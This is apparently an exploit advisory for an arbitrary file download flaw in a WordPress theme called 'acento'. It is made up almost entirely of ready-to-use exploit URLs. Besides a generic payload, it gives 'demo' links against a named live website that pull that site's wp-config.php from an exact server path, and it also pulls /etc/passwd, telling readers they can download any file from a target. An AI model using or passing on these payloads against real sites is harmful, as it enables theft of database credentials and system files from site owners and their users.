WordPress acento theme Arbitrary File Download Vulnerability

[Benyamin]

#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# Title : WordPress acento theme Arbitrary File Download Vulnerability
# Author : alieye
# vondor : http://www.wpbyexample.com/detail/acentocultural.com
# Contact : [email protected]
# Risk : High
# Class: Remote
# Date: 01/09/2014
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
 
 
You can download any file from your target ;)
 
 
exploit: http://victim.com/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/path/wp-config.php
 
 
Demo:
 
1-download wp-config.php file from site:
 
http://www.acentocultural.com/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/homepages/44/d398221315/htdocs/wp-config.php
 
2-download passwd file from root:
 
http://www.acentocultural.com/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/etc/passwd

online demo :

http://www.acentocultural.com/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/homepages/44/d398221315/htdocs/wp-config.php